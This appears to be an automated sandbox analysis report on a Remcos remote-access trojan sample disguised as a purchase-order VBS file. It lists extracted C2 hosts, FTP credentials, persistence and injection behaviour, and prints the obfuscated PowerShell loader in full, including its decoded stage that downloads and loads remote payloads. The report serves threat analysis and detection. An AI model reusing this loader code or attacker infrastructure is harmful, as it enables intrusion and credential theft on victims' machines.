remcos | 0ccd4b7225e3f5668a904bf004aa402e6c5cefb6c8ed03bb13afa6a020ffd79c

Analysis

max time kernel
150s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240910-en
resource tags

arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
submitted
06-10-2024 21:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Urgent Purchase Order (P.O.) No.477764107102024.vbs
Size

543KB
MD5

50e853b9137996e5f5f8bd0d593381db
SHA1

3543224a2d2eb10dac5d84695b04c9a708003bf9
SHA256

1c511019abd39d416b101bf8a29895eadce4ad5371f31558437ccc1567e5d415
SHA512

75a3d44d27ae2047c50665c874f8ab56198de93b17829653853fe38593eb8bdc6d7d4316f051f00a29acd7f019e157b54630fec9826d94d2d887dc9f0d0e555c
SSDEEP

1536:fJJJJJJJJJJJJJJJJJLMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMv:F

Score

10^/10

remcos manifestations collection defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

remcos

Botnet

MANIFESTATIONS

janbours92harbu03.duckdns.org:3980

janbours92harbu04.duckdns.org:3981

janbours92harbu007.duckdns.org:3981

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-NACZDT
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4856-105-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4200-103-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3264-102-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4200-103-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3264-102-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	3656	powershell.exe
23	3656	powershell.exe
27	3656	powershell.exe
30	3656	powershell.exe
36	3656	powershell.exe
37	3656	powershell.exe
43	408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
408	powershell.exe
1948	powershell.exe
4716	powershell.exe
3656	powershell.exe
2300	powershell.exe
4768	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	AddInProcess32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_pzn = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\Roaming\\Program Rules NVIDEO\\Update Drivers NVIDEO\\Update Drivers NVIDEO\\Update Drivers NVIDEO\\hvsul.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
42	pastebin.com
43	pastebin.com

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 408 set thread context of 3372	408	powershell.exe	106
PID 3372 set thread context of 3264	3372	AddInProcess32.exe	107
PID 3372 set thread context of 4200	3372	AddInProcess32.exe	109
PID 3372 set thread context of 4856	3372	AddInProcess32.exe	110

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4716	powershell.exe
4716	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
2300	powershell.exe
4768	powershell.exe
4768	powershell.exe
2300	powershell.exe
4768	powershell.exe
2300	powershell.exe
1948	powershell.exe
1948	powershell.exe
408	powershell.exe
408	powershell.exe
3264	AddInProcess32.exe
3264	AddInProcess32.exe
4856	AddInProcess32.exe
4856	AddInProcess32.exe
3264	AddInProcess32.exe
3264	AddInProcess32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3372	AddInProcess32.exe
3372	AddInProcess32.exe
3372	AddInProcess32.exe
3372	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	408	powershell.exe
Token: SeDebugPrivilege	4856	AddInProcess32.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3372	AddInProcess32.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 4716	4548	WScript.exe	87
PID 4548 wrote to memory of 4716	4548	WScript.exe	87
PID 4716 wrote to memory of 3656	4716	powershell.exe	89
PID 4716 wrote to memory of 3656	4716	powershell.exe	89
PID 3656 wrote to memory of 2300	3656	powershell.exe	98
PID 3656 wrote to memory of 2300	3656	powershell.exe	98
PID 3656 wrote to memory of 4768	3656	powershell.exe	99
PID 3656 wrote to memory of 4768	3656	powershell.exe	99
PID 3656 wrote to memory of 4268	3656	powershell.exe	100
PID 3656 wrote to memory of 4268	3656	powershell.exe	100
PID 3656 wrote to memory of 1948	3656	powershell.exe	101
PID 3656 wrote to memory of 1948	3656	powershell.exe	101
PID 3656 wrote to memory of 408	3656	powershell.exe	104
PID 3656 wrote to memory of 408	3656	powershell.exe	104
PID 3656 wrote to memory of 4976	3656	powershell.exe	105
PID 3656 wrote to memory of 4976	3656	powershell.exe	105
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 408 wrote to memory of 3372	408	powershell.exe	106
PID 3372 wrote to memory of 3264	3372	AddInProcess32.exe	107
PID 3372 wrote to memory of 3264	3372	AddInProcess32.exe	107
PID 3372 wrote to memory of 3264	3372	AddInProcess32.exe	107
PID 3372 wrote to memory of 3264	3372	AddInProcess32.exe	107
PID 3372 wrote to memory of 2144	3372	AddInProcess32.exe	108
PID 3372 wrote to memory of 2144	3372	AddInProcess32.exe	108
PID 3372 wrote to memory of 2144	3372	AddInProcess32.exe	108
PID 3372 wrote to memory of 4200	3372	AddInProcess32.exe	109
PID 3372 wrote to memory of 4200	3372	AddInProcess32.exe	109
PID 3372 wrote to memory of 4200	3372	AddInProcess32.exe	109
PID 3372 wrote to memory of 4200	3372	AddInProcess32.exe	109
PID 3372 wrote to memory of 4856	3372	AddInProcess32.exe	110
PID 3372 wrote to memory of 4856	3372	AddInProcess32.exe	110
PID 3372 wrote to memory of 4856	3372	AddInProcess32.exe	110
PID 3372 wrote to memory of 4856	3372	AddInProcess32.exe	110

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwARAAvADEAMAAvAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC4AcA' + [char]66 + '0AGYAQAAxAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcA' + [char]66 + '0AGYAJwAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAIAA9ACAAZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAA7ACkAJw' + [char]66 + 'AAEAAcA' + [char]66 + 'KADgANwA1ADEAMg' + [char]66 + 'vAHIAcA' + [char]66 + 'yAGUAcA' + [char]66 + 'vAGwAZQ' + [char]66 + '2AGUAZAAnACwAKQApADkANAAsADYAMQAxACwANwA5ACwANAAxADEALAA4ADkALAA4ADEAMQAsADcAMAAxACwAOQA5ACwANQAxADEALAAxADAAMQAsADAAMAAxACgAXQ' + [char]66 + 'dAFsAcg' + [char]66 + 'hAGgAYw' + [char]66 + 'bACAAbg' + [char]66 + 'pAG8AagAtACgAKA' + [char]66 + 'sAGEAaQ' + [char]66 + '0AG4AZQ' + [char]66 + 'kAGUAcg' + [char]66 + 'DAGsAcg' + [char]66 + 'vAHcAdA' + [char]66 + 'lAE4ALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8ALQ' + [char]66 + '3AGUAbgAgAD0AIA' + [char]66 + 'zAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOw' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOw' + [char]66 + '9AGUAdQ' + [char]66 + 'yAHQAJA' + [char]66 + '7ACAAPQAgAGsAYw' + [char]66 + 'hAGIAbA' + [char]66 + 'sAGEAQw' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAZA' + [char]66 + 'pAGwAYQ' + [char]66 + 'WAGUAdA' + [char]66 + 'hAGMAaQ' + [char]66 + 'mAGkAdA' + [char]66 + 'yAGUAQw' + [char]66 + 'yAGUAdg' + [char]66 + 'yAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'hAHMAdQ' + [char]66 + '3ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wACAAOwApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAFQAcg' + [char]66 + 'IAFYAdQAkACgAIAA9ACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SADsAKQAgAGUAbQ' + [char]66 + 'hAE4Acg' + [char]66 + 'lAHMAVQA6ADoAXQ' + [char]66 + '0AG4AZQ' + [char]66 + 'tAG4Abw' + [char]66 + 'yAGkAdg' + [char]66 + 'uAEUAWwAgACsAIAAnAFwAcw' + [char]66 + 'yAGUAcw' + [char]66 + 'VAFwAOg' + [char]66 + 'DACcAKAAgAD0AIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAIAAsAEIASw' + [char]66 + 'MAFIAVQAkACgAZQ' + [char]66 + 'sAGkARg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'mAG0AcA' + [char]66 + 'xAG4AJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AZg' + [char]66 + 'tAHAAcQ' + [char]66 + 'uACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAZg' + [char]66 + 'tAHAAcQ' + [char]66 + 'uACQAOw' + [char]66 + '9ADsAIAApACcAdA' + [char]66 + 'PAEwAYw' + [char]66 + 'fAEsAYQAzAFoAZg' + [char]66 + 'vAFgAMg' + [char]66 + 'KAEoAcg' + [char]66 + 'WAGgAbQ' + [char]66 + 'WADkAYw' + [char]66 + 'tADkAWA' + [char]66 + 'zAHUAWA' + [char]66 + 'tAGoAMQ' + [char]66 + 'nADEAJwAgACsAIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAAoACAAPQAgAEkAbw' + [char]66 + 'xAGEARgAkAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AOwAgACkAJwAyADQAdQ' + [char]66 + 'YAEoAVA' + [char]66 + 'xAGEAbQ' + [char]66 + 'nAHkATQ' + [char]66 + '0AEYAeg' + [char]66 + 'hAGsAUA' + [char]66 + 'SADEAcQ' + [char]66 + 'fAEkAdg' + [char]66 + 'HAGkAWA' + [char]66 + 'OAGQAcQ' + [char]66 + 'hAE4AMQAnACAAKwAgAEkAbw' + [char]66 + 'xAGEARgAkACgAIAA9ACAASQ' + [char]66 + 'vAHEAYQ' + [char]66 + 'GACQAewAgACkAIA' + [char]66 + 'yAG0ARQ' + [char]66 + '3AGoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAJwA0ADYAJwAoAHMAbg' + [char]66 + 'pAGEAdA' + [char]66 + 'uAG8AQwAuAEUAUg' + [char]66 + 'VAFQAQw' + [char]66 + 'FAFQASQ' + [char]66 + 'IAEMAUg' + [char]66 + '' + [char]66 + 'AF8AUg' + [char]66 + 'PAFMAUw' + [char]66 + 'FAEMATw' + [char]66 + 'SAFAAOg' + [char]66 + '2AG4AZQAkACAAPQAgAHIAbQ' + [char]66 + 'FAHcAagAkADsAJwA9AGQAaQAmAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8AZAA9AHQAcg' + [char]66 + 'vAHAAeA' + [char]66 + 'lAD8AYw' + [char]66 + '1AC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAdg' + [char]66 + 'pAHIAZAAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'UAHIASA' + [char]66 + 'WAHUAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAewAgACkAIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAMgAoAHMAbA' + [char]66 + 'hAHUAcQ' + [char]66 + 'FAC4Acg' + [char]66 + 'vAGoAYQ' + [char]66 + 'NAC4Abg' + [char]66 + 'vAGkAcw' + [char]66 + 'yAGUAVgAuAHQAcw' + [char]66 + 'vAGgAJAAgAD0AIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgADsA';$rtnbm = $qKKzc; ;$rtnbm = $qKKzc.replace('уЦϚ' , 'B') ;;$lpnhb = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $rtnbm ) ); $lpnhb = $lpnhb[-1..-$lpnhb.Length] -join '';$lpnhb = $lpnhb.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Urgent Purchase Order (P.O.) No.477764107102024.vbs');powershell $lpnhb
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( 